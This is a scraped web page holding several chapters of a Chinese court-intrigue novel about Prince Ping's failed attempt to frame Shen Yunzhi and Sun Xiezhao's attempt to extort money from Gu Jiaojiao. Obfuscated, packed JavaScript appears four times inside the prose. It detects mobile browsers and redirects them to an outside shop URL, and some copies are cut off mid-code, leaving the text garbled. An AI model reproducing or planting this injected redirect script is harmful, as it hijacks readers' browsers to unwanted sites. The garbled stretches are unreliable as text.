那边,平王正在书房焦头烂额,看着跪在地上的一众侍卫越发恼火。 他怒火中烧,厉声训斥:“无能!他小云南王做事当真就能如此干净?怎么查不到半点痕迹?” 侍卫跪着不敢抬头,只能任由平王咆哮如雷。 李嬷嬷见屋内情形,谨小慎微地叩门而入:“王爷,孙三少爷来了。” 平王皱眉,面色一冷,招手让满地的侍卫退下。 他甩袖在交椅坐下:“让他进来。” 沈云祉受贿一事是孙协兆捅出来的,亏他万般信任却不想落得个一无所获的境地。 如今,平王已思索起此事是否存在,怀疑孙协兆与沈云祉联手诓骗于他。 毫不知情的孙协兆进门行礼,开门见山:“王爷,我在小云南王的书房找到了能治他罪的证据。” 平王挑眉,反应平淡:“你做事倒还算利索,这样快就拿到了。” 因着屡屡受挫,平王话里几分讽刺,已然疑心孙协兆。 但男子却并未听出其中奥妙,只将怀中信件恭敬地呈了上去:“王爷您看,这是小云南王与赵恒等一众官员的来往书信。其中言语足以坐实受贿罪名。” 平王面色终于缓和,眼眸中又闪过几分得意。他将信件接过,急不可耐地细细查看。 “好啊,好啊。”平王喜笑颜开,“这次倒要看看沈云祉拿什么与本王争!” 他认得沈云祉的笔迹,这信纸上白纸黑字断是抵赖不得的。只要将这份证据交到皇上手里,他便再无翻身之日。 平王露出阴毒的笑意,松口让孙协兆落座:“你这次做得很好。明日本王就会进宫面圣,亲自参沈云祉一本。” “待皇上发落了沈云祉,本王便会如约让青青嫁于你。” 孙协兆心中一喜,随后反应过来平王并未提及要将徐青青认回王府一事。他虽心悦于她,但是娶一个没有名声地位的女子做正妻是万万不能的。 奈何平王无意再提,他也只好作罢。 “你先回去吧,免得叫人察觉。”平王看着证据挪不开眼,满心满脑都是自己荣登大宝之景。 怪不得如何调查都不得找寻到沈云祉的半分踪迹,原来只是路过分赃。 到底是年轻气盛,恃宠而骄。如此不雅之事也敢亲力亲为,不过也是金玉其外败絮其中。 孙协兆几番欲言又止,见平王无心理会自己只好依依不舍地离开王府。 他坐上马车,始终不得心安。 “先去一趟别苑。” 究竟如何还是见过徐青青才能安心。她到底是平王唯一的骨血,定不会一无所知。 驿站。 孙协兆走回,沈云祉顺势在书案前坐下,冷脸将几个丫鬟和双瑞换了进来。 “收拾干净。”他沉声开口,倾身靠在椅背上闭目养神,可眉间却是散不去的烦躁与嫌恶。 丫鬟们动作极快,应声在屋内四散,从不同的角落中取出了与孙协兆偷走的一模一样的信件,而后并排站在沈云祉的眼前。 双瑞见状,催促道:“小王爷想吃一碗银耳莲子羹,你们去小厨房做来。记得利索些,莫要耽搁了时辰。” 话外之意,便是让这些丫鬟将伪造的信件拿去厨房神不知鬼不觉地烧掉。 沈云祉早已料定了孙协兆会在书房里动手动脚,以防他找不到这些罪证,便善心大发祝他一臂之力。 不过他倒是比想象中聪明一些,一举找寻到了最隐秘的一份。 丫鬟们离去后,识趣地将书房的门合上,双剑就是此刻从暗中走来。 他径直走向书案,单膝跪下行礼:“小王爷,如您所料,孙协兆果然去了平王府。” “东西可交出去了?”沈云祉笑问。 双剑肯定:“回小王爷话,东西第一时间便交到了平王手中,平王大喜,想来与您预料的分毫不离。” “看来明日就要有一出好戏了。”沈云祉冷笑一声,眼底隐匿几分杀意,“继续盯着便是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017348|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 双剑领命,再度消失在夜色之中。 随后双瑞开口:“小王爷,宫里回信了,皇上同意您漏液进宫,不过须得在宫门下钥前抵达。如今还有一个时辰。” 沈云祉点头,单手扯下外衫露出一身黑色金纹骑装,大步往外走:“驿站可有现成的马匹?” 双瑞紧随其后:“都已经备好了,就在后院。” 另一边,顾皎皎也得知了孙协兆的行踪,面上几分担忧。 “当真有证据?”她看着莺儿,始终不肯相信。 瞧得出来,小云南王并非贪恋小财之人,一个镇子的官员顶天不过几十两,又何必以自己的名声和前途作陪。 莺儿将得来的消息说了个清楚:“奴婢不敢肯定,但孙三是从驿站带着东西去见的平王,究竟是何物便不得而知了。” 顾皎皎若有所思:“此事说不准就是孙协兆与平王合谋而来,实在是太过突然,刻意非常。” 这些日子安阳侯府与孙协兆都还算安分,兴许此举目的并非对付顾府,否则过去小 材大用了些。 若非为了钱财,便只有那高高在上的位置了。 顾皎皎轻吐一口浊气,平白多了几分无奈和忧愁。 她总是不愿与沈云祉有太多牵扯,便是因为他背后太多虎视眈眈的人。 如今有了畅春园这桩生意,倒是不能袖手旁观了。 “继续盯着,必要时可以使些银子打探消息。” 顾皎皎低声吩咐,转而换作一副自得模样:“建方斋那头可有消息了?” 莺儿:“奴婢昨日去的不巧,掌柜的并未在店内。拜帖已经交到小二的手中,他承诺会帮着转交。” 见顾皎皎蹙眉,莺儿忙出声解释:“奴婢认出了那小二,便是当日顾府修葺时跟在掌柜后头的,不会出错。” “也罢,左不过不是要紧的事。”顾皎皎眉头舒展,“后头仔细着些便是,莫要叫人钻了空子。” 莺儿自知做错了事,垂眸低语:“是,明日奴婢便亲自再去一趟。” 第一百三十四章 有什么门道? 翌日,平王急不可耐,赶着早朝时间就赶去皇宫,预备一举让沈云祉身败名裂。 走到养心殿时,太监总管早已等候在外,好似提前预料到一般。 平王来不及多想,连声催促:“公公快些去通报皇上,案子已有不小的眉目,兹事体大,还需皇上定夺。” 太监总管不曾挪动半步,只躬身满怀歉疚道:“王爷来得不巧,皇上方才见过一位大人,如今正小憩呢。” 平王不禁蹙眉,却也说不什么,只好耐着性子侯在殿外。 他忍不住又细细叮嘱:“若是皇上醒了,必定第一时间与皇上说本王带着消息来了。” 太监总管姿态恭敬,连声答应:“还请王爷移步偏殿等候,外头日头大,莫要晒伤了您。” 平王应下却心中不安,状似无意试探道:“皇上方才是见了谁?怎地就又睡下了?” 太监总管:“皇上的病症连日的吃药都不见好,便请了钦天监总管前来,看是否天有意向,阻挡了龙体安康。” “哦?”平王来了兴致,“那可有什么门道?” 自古借着天象害人的可不少,这些日子沈云祉明面上又太过逍遥,丝毫不受重案影响,难免让人生疑。 太监总监笑笑,将人领进偏殿坐下:“王爷真是抬举奴才了,这等要事奴才如何听得明白啊。只是听闻钦天监的语气,近来天象却有不祥之兆,皇上动了怒,这才又睡下修养。” “奴才虽不知您带来的是何消息,但见着皇上时,须得缓缓地说啊。” 太监总管事无巨细,接过小太监沏好的茶水递到平王手边。 平王接过,眼珠转动若有所思:“本王自然有分寸,你先退下吧。” 如今能治沈云祉罪的确凿证据,何不再利用这天生异象叫他彻底断了继承大统的路? 一杯茶水见底,太监总管方才折返回来,态度毕恭毕敬:“叫王爷久等了,皇上精神恢复得不错,正召王爷一见呢。” 平王心中烦躁,隐约觉得皇上有意为难,却又无可奈何。 待他坐上龙椅,他可得将这病秧子送到远远的地方任其自生自灭,也不负这些日子受得屈辱。 养心殿内浓烈刺鼻的药膳味又加重了几分,皇上披着外衫坐在踏上,手边是堆积了几日的折子。 他一边朱批,一边免了平王大礼:“不必要这些虚礼了,你且坐下吧。” “听闻小云南王的案子你又不小的发现,说来听听。” 平王本就不是克己复礼之人,得了应允便毫不顾忌地坐在软榻,谈及沈云祉受贿一事,姿态极其傲慢。 “是,微臣已查到自己证据。”他从怀中抽出早已准备好的信件,故作痛心疾首,“实在是未能瞧出小云南王竟然是如此脾性之人。” “皇上向来厌恶贪官污吏,他本改恪守成规,以儆效尤,却不想竟然以身试法,辜负了皇上信任,实在叫人寒心。” 太监总管接过信件呈到塌边,供皇上瞧得清楚。 皇上的反应平淡,却在瞧清纸上字迹后瞪大眸子,一把夺过信件,眼中一片震惊。 平王在一旁看着,心中很是得意。 “这确实是云祉的字迹。”皇上捏紧信件一角,面色凝重,“距你来与寡人禀告贪污一事,已经有几日了?” 平王思索片刻,言语笃定:“已有三日。但那赵恒上任却已有半月,可见早已暗度陈仓,将皇上您蒙在鼓里啊!” 见皇上沉思,平王又继续开口:“方才来时,臣听闻天象有异,是以有损龙体之像,臣斗胆猜测,正是因为身侧人生有二心,才叫皇上劳心伤神,病症久久不治。” “平王言之有理。”皇上将信放到一边,“兹事体大,待寡人喝了药后再一齐定夺。” 平王心中焦急,皇上迟迟不肯处置沈云祉,难不成还念及旧情不成? “皇上,此事已在京城传开,若不妥善处理,怕是会人心惶惶,也叫有心人越发猖狂!”平王义愤填膺,“臣知晓小云南王年少有为,是以 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的书信,其中点明泽熙镇赵恒一事是受你默许。” 沈云祉接过信件,并未否认:“这确实是微臣的笔迹。” 平王见状,立马高声斥责:“算是有几分担当,今日当着皇上的面,不若将你所有的罪行都交代干净。” 他不掩得意之色,一副胜券在握的模样。 “是小王笔迹,却非小王所为。”沈云祉神情自若,将信件随意扔在地上,“且不论这墨迹不过三日,仔细瞧瞧便能瞧得出许多字样都有描摹的痕迹,如此拙劣的伪证,竟然也诓骗住了平王殿下?” 字字句句落在平王耳中,让他一时间慌了神。 他半信半疑地抓起余下的信件,就着他所言所语一一探查,这所谓的证据确实漏洞百出。 “不可能!”平王难以接受,“一定是你掉包了本王的证据!” 第一百三十五章 你还想如何? 眼见着平王要扑过来,沈云祉一个闪身站到一旁,眼睁睁瞧着他重重摔在交椅之上。 沈云祉言语调笑:“这份所谓的证据小王可从未见过,又何来调换呢?” 平王恼羞成怒,扯住他的衣领不放:“你虽不曾直接插手此事,但你可敢发誓你对此事毫不知情?” “本王可是实打实在你驿站地库下发现了一箱赃款,刻意掩在杂物之后,已有用过的迹象!” 他咬牙切齿,将自己所知一股脑倾诉出来。此事由他亲信发现,绝无造假的可能。 “怎会一无所知呢?”沈云祉勾起唇角,“忽然一盆脏水扣在小王头上,自然得调查一番才是。” “至于平王口中的赃款,若是当真存在想必大理寺早已叫本王伏法了,也难为平王尊贵之身在此多费口舌。” 沈云祉面色冷傲,原本他是在箱子上撒了特质的香粉,不仅气味独特,且在夜间沾染之处会有微弱亮光。 他原是想借此查到幕后陷害之人,却不想平王破罐子破摔,倒是省了他一道排查的功夫。 实在无趣。 沈云祉将人拨开,转身看向皇上:“微臣从前只在云南,因着皇上保养才在京城停留片刻。对京中一切并不熟悉,就不论还能相识吏部官员。此事,平王若有心不难探查。” “那吏部官员确实与微臣有一面之缘,便是在第一楼用膳时主动与微臣攀谈。前两日,细细调查才知,原来他身边跟着的就是泽熙镇的新府尹赵恒。” “他们两人缠着微臣许久,又拿出银子要包下本王的席面,一来二回便是平王口中的贿赂了。” 他沉声将真相摊在明面,生生击碎了平王最后一点希望。事发当日他便觉得那两人行迹可疑,只当又是想巴结攀附之人,直到泽熙镇一趟,才发现端倪,布下此局。 难怪他如何调查都查不到蛛丝马迹,原来一切不过是障眼法罢了。他咬牙切齿,自愧着了沈云祉的道。 “他两人违反律令,便想着拉一个地位高的大人作陪,是以挑了个最热闹的酒楼。小王原以为这计划拙劣无比,却不想平王竟真的当了真。” 平王面上一红,气急败坏:“既然如此,你又如何解释这些信件。即便是伪造,又为何会出现在你的书房之内?” 此话一处,空气凝固一瞬,平王顿时意识到自己说错了话。 这证据从何而来并无人提起,而今他倒亲口说出了自己使了上不得台面的手段。 沈云祉似笑非笑,细长的眸子不轻不淡的落在他的身上。 “皇上,此事……” “住口!” 平王下意识想要解释,却被皇上厉声斥责:“平王,事到如今,你还想如何?” “你所谓的证据是假的,可这得来的途径似乎有待考究。” 皇上虽在病重,但面上的威严却不减半分。平王本就不占理,如今更是哑口无言。 “寡人知晓,你一直耿耿于怀云祉与你同争太子之位一事。既然如此,你怎能如此狠心去陷害一个小辈?” “你可知晓,若是今日云祉蒙冤,会牵扯多少人进来?皆时朝廷动荡,你那太子之位就能坐稳了吗?” 平王恍然大悟,心下懊悔不已。他只想着回了沈云祉的前程,因着深不见底的执念,竟忘却了云南是何势力。 “皇上,微臣并非有意,只是担心买卖官员一事乱了朝廷纲纪啊!即便今日不是小云南王,微臣也会大义灭亲弹劾他人。” 事到如今,他仍是不肯认错,一口咬定自己只是忠心耿耿,才会出此下策。 “你不看事实,恶意曲解,甚至伪造证据,是以陷害!”皇上怒极,重重拍案,惹得一事寂静。 “寡人从前竟未看出你是如此狠心之人,竟为了一时的富贵权利就不择手段残害同族。” “皇上,事实并非如此!一切都是沈云祉的计谋!是他想要离间您与微臣的君臣之谊!” 平王焦急解释,生怕惹来杀身之祸。 他虽一向与皇上不睦,但到底君臣有别,真若是大动干戈他站不得好处。 皇上闭上眸子,不愿再听他言说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇上将折子仔细看看,心中有了考量。 此事发酵,想来平王发力不小。 第一百三十六章 算不得委屈 沈云祉神色认真,微微摇头:“不过是些小事,算不得委屈。只是微臣再调查泽熙镇一事,却发觉其中还有值得深究的地方。奈何时间紧迫,还未得知。” “是以,还请皇上暂时不要声张此事,也莫要与朝中官员商讨,微臣会将真相暗中调查,肃清朝堂的不正之风。” 沈云祉面色凝重的说出自己的猜想。他原本只是想引孙协兆入局,惩治两人一番。但却发觉此事疑点重重。 能够摆在明面上的早已不足为奇,这背后定然有不小的牵扯。 若只是几十两的报酬,又何故如此大费周章的攀附权贵?兴许,只是在为糜烂的根基寻求庇护罢了。 皇上点头,眼中尽是赞许与欣赏,拍了拍他的手背:“你既然有这份心,寡人自当应允,放手去查便是。” 他早知朝廷暗流涌动,只是碍于身体抱恙,又有肱股之臣把持大局,这才睁一只眼闭一只眼。如今暗河欲汇入江海,必得出手制止。 另一边,平王被强制送出皇宫,一路上宫女太监窃窃私语,惹得他面上无光,满腔怒火。 马车一早就侯在神武门,听闻脚步声,李嬷嬷当即迎了上去,却只瞧见面色铁青的平王。 她小心翼翼上前行礼:“王爷,可是照旧回府?” 平王怒目圆凳,却顾及身后站定的御前侍卫,只得咬牙切齿:“回府!” 马车启程,御前侍卫却未离去,统领指派了几个侍卫一路护送平王回府。 如此,他便没了另寻他路的法子。 撩开布帘就能瞧见侍卫寸步不离的跟着,实在叫人生厌! “孙协兆!”平王从牙缝里挤出这个名字,眼中杀意就要满出来,“竟然敢伙同沈云祉戏耍本王,当真是活得不耐烦了!” 想起今日屈辱,他就恨不得将孙协兆千刀万剐! 一路煎熬,终于是到了王府。 刚下马车就见四周百姓目光异样,不时窃窃私语。 皇上当真是薄情至此,叫人如押解犯人一般送自己回府,不是明摆着让旁人议论耻笑? 朱红大门重重合上,平王终究是压抑不住反手打在李嬷嬷的脸上。 突如其来地清脆叫在场之人大惊失色,一齐跪下求饶。 “都是无能之辈!”平王怒斥一声,心中怨恨难消,“差人去将孙协兆找来,本王定不轻饶!” 另一边,建方斋。 拜帖迟迟不见回信,莺儿心中焦急担心坏了大事,便亲自跑了一趟。 接待她的依旧是昨日的小二:“莺儿姑娘,拜帖一事我已告知掌柜了,想来午后便有答复。” 莺儿仍是不放心:“这已过了许久了,莫非是掌柜的觉得此事不妥吗?” 小二笑笑,出声安抚:“莺儿姑娘何故担心这些,顾家姑娘是何等人物,连小云南王都几番与之交涉,何况是建方斋呢?” 莺儿放心下去,又好言好语了几句,再度言明诚意。 “还说那小云南王呢?那日大理寺去驿站调查一事难道你们都不知道吗?” 一道突兀地声音从身后想起,倒是瞧着眼生。 莺儿警惕起来,皱眉看他,并未轻举妄动。 一个正挑着木材的男人也走了过来:“怎地说起此事了?那日什么都没搜到你不知晓吗?” “今日平王从皇宫回来,马车后可跟着不少御林侍卫,也不知道到底是为了哪般?” 又一面生的男子凑了过来,说话十分谨慎:“总归不是好事。如今两人分庭抗礼,明争暗斗,还是少沾染为妙。” 挑木材的男人摇头,语气笃定:“我倒觉得皇上更器重小云南王,况且小王爷父辈母辈何许人也,平常小事奈何不得了。” 莺儿缩在角落听了片刻,发觉几人不过寻常谈论,便找了机会离开。 回到第一楼后,莺儿先将小二的话如实转告,而后又提了几人的谈论。 她念叨着,心下好奇:“不知平王今日进宫,是否与小王爷有关。” 顾皎皎若有所思:“那些人说的不无道理,小王爷家世显赫,身份极其尊贵,寻常小事奈何不了他的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平王猛地转身,一双猩红的眸子死死盯着不解的男人:“你竟然还敢同本王提起证据,岂非是活腻了?” 孙协兆焦急万分,任凭脑中百转千回也未能参透其中深意:“王爷何出此言?我从小云南王书房偷得此物亦是十分凶险,您堂堂王爷总不能利用完我就不认账了吧?” 平王眸子阴沉,出言讥讽:“证据都是假的,却给了沈云祉在皇上面前参本王一本的机会,你又是存了什么心思?” “难道不是你与沈云祉勾结,假意投诚,想要重创本王吗?” 越是说着,平王越是激动,眼见着就要唤来府兵。 孙协兆大惊,脑中快些将这些日子的种种回忆一番,果然十分蹊跷。一切都发生得太过顺利,原来不是他心思缜密,而是被沈云祉玩弄于股掌之间。 孙协兆暗自捏紧拳头,言语恳切:“平王殿下,我也是被小云南王骗了,现在想来那所谓的贿赂之事,都是他有意透露……” 平王冷笑一声:“那又如何,若非是识人不清,本王何故今日被皇上斥责?” 听得此言,孙协兆心顿时凉了半截。孰是孰非并不重要,如今他只是想要一个撒气的器具罢了。 “王爷,我愿戴罪立功,继续蛰伏在小云南王身侧,早日抓住他旁的把柄!” 孙协兆急中生智,翻出自己最后几分价值。 平王将他审视一番:“念在青青的面子上,本王便饶你一命。日后你就跟在沈云祉身旁,有任何风吹草动都及时来告知本王。” 他此番受挫,在皇上面前失了信任。若是想要翻身,仍需抓住沈云祉的漏洞才成。 这件事情眼下只有孙协兆做得到,故而还不是舍弃的时候。 孙协兆心下一松:“此番定不辱使命!” 平王不管多看一眼,转过身去让人离开。 孙协兆戴着额头伤口狼狈回了安阳侯府。 自从孙老夫人用自己最后的体己修缮了府邸,孙府越发捉襟见肘,连每日吃食的银子都再拿不出。 老夫人身子本就未愈,如今愈发消瘦憔悴,大半日子都在塌上度过。 章氏和刘氏也境遇一般,吃不上原先那些个好东西,人也瘦了一圈。 三人每每凑在一处都连声哀悼,怒斥顾皎皎不近人情,吞了府里的银钱,才叫孙府如此落魄。 刘氏看着桌上不见半点荤腥的菜色,叹一口浊气:“怎地又是这些东西,日日吃这些人都没有精气神了。” 孙老夫人剜她一眼:“叫你拿银子的时候怎未见你如此,光知道嫌弃。” 刘氏噤声,看了章氏一眼。 章氏便是圆滑一些,但终究饿得难受:“母亲,咱们前些日子不是拿了些碎银出来吗?这样快就用完了吗?” 孙老夫人不言,自顾自吃着碗内白粥。 好不容易才叫从两院口袋中扒了些银子出来,她自然要给自己好生补一补的。 沉默间,孙协兆走进正厅,见桌上菜色不由得蹙了蹙眉。 “协兆!”孙老夫人激动起身,走近才发觉他额角的伤口,“怎么带着伤?难道小云南王还动手打人不成?” “咱们好歹也有个侯府的名号,怎能叫人如此欺辱?量他身份尊贵,也不能如此欺人太甚!” 孙老夫人不明所以的打抱不平,只叫孙协兆越发烦躁:“母亲,别再说了。这是方才下马神游所致,与旁人无关。” 见他脸色不好,孙老夫人识趣地没再多问,只吩咐着小厮好生照料。 孙协兆回了院子,将屋内能砸的东西尽数砸了个遍,看着满地狼藉才清醒片刻。 “沈云祉!你真是好手段啊!” 他暗自怒斥,满心想着要如何报仇雪恨。分明他离迎娶徐青青,攀上平王就只差一步,竟然就这样白白葬送了! “少爷,老夫人来了。” 孙协兆下意识面露烦躁,却也阻拦不得,绕到偏院相见。 孙老夫人被宋嬷嬷搀扶而来,见他眉头紧锁,心中担忧:“难道那件事还不能得手吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017352|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她挤眉弄眼,暗示着让徐青青怀孕一事。 孙协兆抬眸,眼中尽是无奈。这般时候脑中竟还是这些心思。 “青青乃是平王的女儿,若是在她身上使这样的勾当,平王怎么会轻饶了我?” 话虽如此,但这几日去徐青青时,皆是有心亲昵了几次,都未曾听到有消息传来。时日久了,他便也不再再对此事有期许。 孙老夫人见希望落空,暗自神伤:“可是府里当真是没有银子了,今日吃食你也瞧见了,这些日子可都是如此不见荤腥,长此以往,我这身子如何撑得住啊!” 孙协兆心中烦躁,出声埋怨:“既如此,您又何必将府邸如此大肆修缮,所用陈设也是上乘的,都是耗费银子的地方。” “府中修缮如何马虎得了?”孙老夫人横眉冷对,娓娓道来,“我做这些难道还能为了自己不成?还不都是为了安阳侯府的体面。” “顾皎皎那个白眼狼,走了时候恨不得叫整个侯府都搬干净了去,可让孙府失了好大的面子。” “若不好生置办,岂不是叫人觉得咱们安阳侯府 当真依靠着一个商贾之女过活?” 孙协兆焦头烂额,捏着额角叹气:“话虽如此,但我从何处弄银子?” “你跟在小云南王身后许久,就一点好处没捞到吗?”孙老夫人急得口无遮拦,“你瞧那顾皎皎都能和小云南王攀上关系,赚了不少银子……” 说着,老夫人灵光咋现:“协兆,你大可去找顾皎皎要银子。安阳侯府在她那第一楼,霓裳阁那些铺子里花的银子她还未归还,足足几十万两呢!” “还有她与小云南王做生意,难道不是瞧了你的面子吗?怎地也该给安阳侯府分成!” 孙老夫人说得义正言辞,孙协兆倒也听了进去。 因着先前的教训,他半信半疑:“她当真和小云南王做上生意了?” “不容有假。”孙老夫人很是笃定,压低声音,“京城的夫人们可都传遍了,不仅如此,小云南王还时常去第一楼用膳。” 第一百三十八章 不曾听说 孙协兆勾起嘴角,眼中几分狡黠。 顾皎皎从前与小云南王毫无交集,若非是因着自己的缘故怎么能做上这桩大生意?光凭她那低贱的商贾身份,怕是只能守着第一楼过下半辈子了。 他扯出一抹邪笑:“既如此,我可要与她好好清算一番了。” 孙老夫人也笑意不减:“也不知道那妮子到底赚了多少银子,若能一并要回,侯府也能周转开来。” 母子两人细细谋算,又将府内修缮银两算在顾皎皎的头上,势要拿回三千两银子方才甘心。 顾府。 因着要等建方斋的消息,顾皎皎只在几家铺子巡视一番就回府侯着。 这些日子她不在第一楼便在其他店内,也该是好好休息休息。 顾皎皎坐在连廊,看着院内绿意盎然。其中几株金桂,虽还未开花,却已沁人心脾。 暗淡轻黄体性柔,情疏迹远只香留。何须浅碧深红色,自是花中第一流。 她便是想到这首诗,才刻意命人移植了几株金桂来此。算着日子,也该显露秋意了。 莺儿端着食案走来:“姑娘,燕窝已经炖好了,奴婢又兑了些牛乳,您趁热喝了吧。” 她顺着顾皎皎的目光看去,轻笑一声:“金桂飘香,待入了秋,院内必定清香一片,姑娘真是好眼光。” “不过是几株桂花,谈得上什么眼光。”顾皎皎轻笑,接过燕窝,“倒是听闻平王回府了,那小云南王呢?” 莺儿摇头:“小云南王行迹未定,不曾听说。” 话音刚落,便有小厮小跑前来通告:“姑娘,小云南王来了,就快要到了。” 顾皎皎兀地起身,虽疑惑却也快步迎接。 沈云祉自神武门离宫,便直奔顾府而来。 两人在顾府中庭相遇,约莫七步之距,顾皎皎福身行礼。 沈云祉抬手,步伐不停:“今日来倒是有求于你。第一楼最是往来密切,十分适合打探消息。本王方才想过,待你戏台搭成,便帮本王唱一出戏。” 顾皎皎紧随其后,尴尬一笑:“并非我无意,只是这小戏台怕是一时半会搭不起来。” “嗯?”沈云祉步子一顿,看她一眼,“为何,依照你的性子,那日傍晚就改与建方斋商谈才是。” “是如此。”顾皎皎心头几分无可奈何,“只是拜帖已差人送去,建方斋却迟迟未曾答复。想来也是考量我的身份,倒也理解。” 沈云祉蹙眉,没再多言,只继续往府里走。 “方才未曾注意,如今细看倒觉得你这院子有几分清雅别致。”沈云祉移开注意,扯出一抹冷笑,“这难道是玉荣为你筹谋的?” 此话一出,顾皎皎一口茶水险些呛到:“这宅子全权交给建方斋置办的,与杜大人何干?” 沈云祉移开眸子,面不改色:“本王随口问问罢了。” “若是晚些时候建方斋还未有信息,你与本王说,本王再派人去问问。” 顾皎皎下意识想拒绝,但想到与畅春园有关,便没再矜持,应承下来。 “那便谢过小王爷了。”顾皎皎犹豫半晌,还是问出口,“不过,可否能问问小王爷是想在戏台唱什么戏?” 沈云祉勾起唇角,故作神秘:“倒是你便知晓了,此刻还不便声张。” 顾皎皎了然于心,没再多问。 那头,小厮穿过中庭而来,朝着两人行礼:“姑娘,孙家三少爷来了,说是来……讨债。” 先前孙老夫人刚闹过,他便又来了,看来安阳侯府真是揭不开锅了,竟如此慌不择路。 莺儿不爽,满眼嫌弃:“姑娘,我去将人打发走!分明都毫无关系了,还这般舔着脸来,实在令人作呕。” 沈云祉坐在一旁听着,一双眸子看着顾皎皎的反应。 见她神色如常,并无半分动摇,眼底甚至含了几分厌恶,满意地点了点头。 “可要本王出面?”他缓缓起身,神清气爽。 顾皎皎却是冷言相对:“此事就不劳烦小王爷费心,还望您能移步偏院,莫叫孙协兆知晓您在此。” “为何……”沈云祉正要出声质疑,转而料想到此处是顾家府邸,便按捺下去,随家丁去了偏院。 存了些看戏的心思,只走到屏风后他就打发了小厮。 顾皎皎又叫人将茶水撤下,转而坐在主位,等着这位昔日夫君。 孙协兆一进门便是副趾高气扬的模样,自顾自地坐到二主位。 “你我既已和离,本不该有太多牵扯,但你欠着安阳侯府的影子,实在该归还才是。” 一落座,他便一副苦口婆心的模样,叫人瞧了倒真以为她欠了孙府。 顾皎皎冷眼相待,看着这位只见过几面的男人,只觉得讽刺可笑:“不知孙公子所指何事?我顾府账目清晰,笔笔在记,不曾听闻欠了安阳侯府银钱。” 孙协兆收起笑意,放出狠话:“你这话是不想认账了?那日在第一楼,是你亲口承认收了安阳侯府几十两银钱,那是你还未离府时所用所花,为何不许归还?” “那日离府,也是你亲口所言,要算个清楚。你既将你花了银子的东西带走,就该将安阳侯府在你处花的银钱归还。” 孙协兆说得有理有据,颇有上门讨债该有的气势,只是他实在来错了地方。 顾皎皎大笑起来,丝毫不掩饰其中嘲弄,眼神也尽是戏谑。 “孙三公子,我既还愿称你一声公子,你便竖起耳朵好生听着。” 她的语调冷淡下去,目光如冰:“自古以来,买卖便是以物换物。我花了银子去买了我带走的那些物件,那便该是我的;孙府在铺子里的那些花销,也都有相应的物件,并非强买强卖。” “你若执意要银子,就将这两年在第一楼和霓裳阁拿走的东西还来便是。我大发慈悲,不去计较个中折损,将银子如数归还。” 孙协兆气急败坏,拍案而起:“你当家的时候事情,合该你担着,如何能强吞安阳侯府的钱银?” 顾皎皎亦是起身,与他四目相对,目光冷傲:“原来在孙府,管家就要那自己的体己钱贴补府内上下,不知你那位郡主可知晓此事?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百三十九章 你以为小王爷会多看你一眼 孙协兆被堵得面色涨红,一时间大脑一片空白。从前倒未发觉她是如此强硬的性子,竟叫他招架不住。 不过转瞬,他便又是一副自大模样:“你若不肯还银子,我就将寒奉寺的事情捅出去,叫你没有颜面见人!” 一句话,惹得两人侧目。一人嫌恶,一人阴骛。 孙协兆一脸得意洋洋,想着能以此拿捏她。 来顾府时孙老夫人将寒奉寺的勾当尽数说与他听,虽安排的狂徒不见了踪影,但一夜过去,是黑是白本就说不清楚。 女子的清白最为重要。若是安阳侯府一口咬定顾皎皎并非清白之身,即便她有再多银钱也难想在京城抬起头来。 瞧着孙协兆的狂妄自大,顾皎皎眼中只剩下不屑与怜悯。 她倾身向后,满不在乎:“寒奉寺何事?我去庙里烧香拜佛如何就无颜见人了?” 语毕,顾皎皎轻挑眉梢,满眼挑衅。 虽然他所言非虚,但孙老夫人对那一夜发生了何事一无所知,无非只想借着一个名号恐吓她罢了。 况且,她一个和离妇人,又何必在意什么清白。 孙协兆一时语塞,却是越挫越勇:“顾皎皎,你不要再嘴硬了。你本就身份卑贱,若是再传出去不忠不贞,还能依靠什么在京城立足?” “还有,你如今能与小云南王说上话,还不都是仰仗着我的关系。若非从前你是我的妻子,你以为小王爷会多看你一眼?” 他起身站到顾皎皎眼前,居高临下地看着她波澜不惊的眸子,继续压低声音威胁:“我本不想与你纠缠,想必你也如此,何不如早些将银子给我,彼此都乐得清闲。” “好啊,”顾皎皎嗤笑出声,答应得十分干脆,“不知孙公子想要多少银子。” 孙协兆勾起嘴角,越发得意,大摇大摆地回去坐着:“本公子心地善良,见你孤身一人,便只给五千两罢了。” 不等顾皎皎开口,他又道:“别以为我不知道你这些日子借着小云南王的关系赚了多少银子,这个数目对你多说怕只是九牛一毛吧?” 顾皎皎嘴角含笑,并未正面回应,只招手让莺儿取来笔墨。 